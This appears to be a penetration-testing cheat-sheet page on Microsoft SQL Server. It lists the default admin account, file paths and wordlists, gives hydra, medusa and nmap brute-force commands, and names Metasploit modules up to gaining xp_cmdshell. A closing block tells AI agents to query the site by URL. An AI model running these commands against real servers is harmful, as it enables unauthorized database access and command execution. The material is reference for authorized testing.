# TCP 1433, UDP 1434: MSSQL Server

> Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network.
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/Microsoft_SQL_Server)

## Related

[SQSH](/the-pentesters-cheat-sheet/exploitation/misc/02-sqsh.md)

## General

Default admin account: `sa`

Interesting paths (example: Microsoft SQL Server 2017 14.00.1000.00)

```bash
C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS\MSSQL\DATA\master.mdf
```

```bash
C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS\MSSQL\Backup\master.mdf
```

```bash
C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS\MSSQL\Backup\master.bak
```

### Brute force login

Wordlists

```bash
/usr/share/seclists/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt
```

```bash
/usr/share/seclists/Usernames/mssql-usernames-nansh0u-guardicore.txt
```

```bash
/usr/share/seclists/Passwords/mssql-passwords-nansh0u-guardicore.txt
```

Tools

```bash
hydra -L <users-file> -P <pw-file> <ip> mssql -vV
```

```
medusa -U <users-file> -P <pw-file> -M mssql -h <ip>
```

```bash
nmap -p 1433 --script=ms-sql-brute.nse --script-args userdb<users-file,passdb=<pw-file> <ip>
```

## Metasploit

* [Hunting for MSSQL - Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/hunting-mssql/)
* [How to Hack Databases: Cracking SQL Server Passwords & Owning the Server « Null Byte :: WonderHowTo](https://null-byte.wonderhowto.com/how-to/hack-databases-cracking-sql-server-passwords-owning-server-0149636/)

Find MSSQL instances

```bash
auxiliary/scanner/mssql/mssql_ping
```

Brute force login

```bash
scanner/mssql/mssql_login
```

Obtain a `xp_cmdshell` using

```bash
windows/mssql/mssql_payload
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/services/tcp/tcp-1433-udp-1434-mssql-server.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
